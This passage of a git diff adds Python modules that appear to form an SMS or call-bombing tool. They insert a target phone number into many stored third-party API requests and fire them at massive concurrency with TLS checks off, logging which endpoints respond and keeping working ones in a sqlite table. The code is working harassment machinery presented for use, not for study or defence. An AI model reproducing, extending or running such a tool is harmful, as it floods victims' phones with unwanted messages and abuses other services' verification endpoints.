"""处理自定义 API 数据"""
|
||||
desc: str = "Default"
|
||||
url: str
|
||||
method: str = "GET"
|
||||
header: Optional[Union[str, dict]] = default_header
|
||||
data: Optional[Union[str, dict]]
|
||||
|
||||
def replace_data(self, content: Union[str, dict], phone: str) -> str:
|
||||
# 统一转换成 str 再替换. ' -> "
|
||||
if phone:
|
||||
content = str(content).replace("[phone]", phone).replace(
|
||||
"[timestamp]", self.timestamp_new()).replace("'", '"')
|
||||
|
||||
# 尝试 json 化
|
||||
try:
|
||||
return json.loads(content.replace("'", '"'))
|
||||
except:
|
||||
return content
|
||||
|
||||
def timestamp_new(self) -> str:
|
||||
"""返回整数字符串时间戳"""
|
||||
return str(int(datetime.now().timestamp()))
|
||||
|
||||
def handle_API(self, phone: str=None):
|
||||
""" 传入手机号处理 API
|
||||
:param API: one API basemodel
|
||||
:return: API basemodel
|
||||
"""
|
||||
# 仅仅当传入 phone 参数时添加 Referer
|
||||
# fix: 这段代码很有问题.......
|
||||
if phone:
|
||||
# 进入的 header 是个字符串
|
||||
if self.header == "":
|
||||
self.header = {}
|
||||
self.header['Referer'] = self.url # 增加 Referer
|
||||
|
||||
self.header = self.replace_data(self.header, phone)
|
||||
if not self.header.get('Referer'):
|
||||
self.header['Referer'] = self.url # 增加 Referer
|
||||
|
||||
self.data = self.replace_data(self.data, phone)
|
||||
self.url = self.replace_data(self.url, phone)
|
||||
# print(self)
|
||||
return self
|
||||
109
utils/req.py
Normal file
@@ -0,0 +1,109 @@
|
||||
# encoding=utf8
|
||||
# 请求的方法
|
||||
import httpx
|
||||
from httpx import Limits
|
||||
from typing import Union, List
|
||||
import asyncio
|
||||
|
||||
from utils import default_header
|
||||
from utils.models import API
|
||||
from utils.log import logger
|
||||
|
||||
|
||||
def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response:
|
||||
if isinstance(api.data, dict):
|
||||
resp = client.request(method=api.method, json=api.data,
|
||||
headers=api.header, url=api.url, timeout=10)
|
||||
else:
|
||||
resp = client.request(method=api.method, data=api.data,
|
||||
headers=api.header, url=api.url, timeout=10)
|
||||
return resp
|
||||
|
||||
|
||||
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
|
||||
"""请求接口方法"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
|
||||
with httpx.Client(headers=default_header, verify=False) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||
resp = client.get(url=api, headers=default_header)
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
return True
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"请求失败{why}")
|
||||
return False
|
||||
|
||||
|
||||
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
|
||||
"""异步请求方法
|
||||
:param:
|
||||
:return:
|
||||
"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
async with semaphore:
|
||||
async with httpx.AsyncClient(
|
||||
limits=Limits(max_connections=1000,
|
||||
max_keepalive_connections=2000),
|
||||
headers=default_header,
|
||||
verify=False,
|
||||
timeout=99999
|
||||
) as c:
|
||||
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(src, API):
|
||||
src = src.handle_API(ph)
|
||||
r = await reqAPI(src, c)
|
||||
else:
|
||||
# 利用元组传参安全因为元组不可修改
|
||||
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
|
||||
"&", "").replace('\n', '').replace('\r', ''),)
|
||||
r = await c.get(*s)
|
||||
return r
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"异步请求失败{type(why)}")
|
||||
# logger.error(f"异步请求失败{why}")
|
||||
# import aiofiles
|
||||
# async with aiofiles.open("error.txt","a",encoding="utf-8") as f:
|
||||
# await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n")
|
||||
except TypeError:
|
||||
logger.error("类型错误")
|
||||
except Exception as wy:
|
||||
logger.exception(f"异步失败{wy}")
|
||||
|
||||
|
||||
def callback(result):
|
||||
"""异步回调函数"""
|
||||
log = result.result()
|
||||
if log is not None:
|
||||
logger.info(f"请求结果:{log.text[:30]}")
|
||||
|
||||
|
||||
async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]):
|
||||
|
||||
tasks = []
|
||||
|
||||
for api in apis:
|
||||
semaphore = asyncio.Semaphore(999999)
|
||||
task = asyncio.ensure_future(asyncReqs(api, phone, semaphore))
|
||||
task.add_done_callback(callback)
|
||||
tasks.append(task)
|
||||
|
||||
await asyncio.gather(
|
||||
*tasks
|
||||
)
|
||||
65
utils/sql.py
Normal file
@@ -0,0 +1,65 @@
|
||||
# encoding=utf8
|
||||
# 读写sqlite数据库
|
||||
from pathlib import Path
|
||||
from utils.log import logger
|
||||
import sqlite3
|
||||
|
||||
|
||||
class Sql(object):
|
||||
"""处理SQL数据"""
|
||||
|
||||
def __init__(self, db_path: Path) -> None:
|
||||
'''初始化数据库'''
|
||||
# 数据库路径
|
||||
# db_path = Path.cwd().joinpath("api.db")
|
||||
# 连接数据库,不检查是否在同一个线程.
|
||||
self.client = sqlite3.connect(
|
||||
db_path, timeout=6, check_same_thread=False)
|
||||
self.cursor = self.client.cursor()
|
||||
self.newTable()
|
||||
|
||||
def newTable(self):
|
||||
'''初始化表结构'''
|
||||
sql = '''
|
||||
CREATE TABLE IF NOT EXISTS API200 (
|
||||
id INT NULL,
|
||||
url TEXT NOT NULL,
|
||||
primary key (url)
|
||||
);
|
||||
'''
|
||||
self.cursor.execute(sql)
|
||||
self.client.commit()
|
||||
|
||||
def update(self, url):
|
||||
'''插入数据'''
|
||||
sql = '''
|
||||
INSERT INTO API200 (ID,url) VALUES (null,?)
|
||||
'''
|
||||
try:
|
||||
self.cursor.execute(sql, (url,))
|
||||
self.client.commit()
|
||||
logger.success("插入成功!")
|
||||
return True
|
||||
except sqlite3.IntegrityError:
|
||||
logger.error(f"数据重复!")
|
||||
return False
|
||||
|
||||
def select(self) -> list:
|
||||
'''获取所有接口'''
|
||||
sql = '''
|
||||
SELECT url FROM API200;
|
||||
'''
|
||||
try:
|
||||
self.cursor.execute(sql)
|
||||
result = self.cursor.fetchall()
|
||||
urls = []
|
||||
for url in result:
|
||||
urls.append(url[0])
|
||||
return urls
|
||||
except Exception as e:
|
||||
logger.error('读取出现错误!', e)
|
||||
|
||||
def __del__(self) -> None:
|
||||
'''对象被删除时执行的函数'''
|
||||
logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
|
||||
self.client.close()
|
||||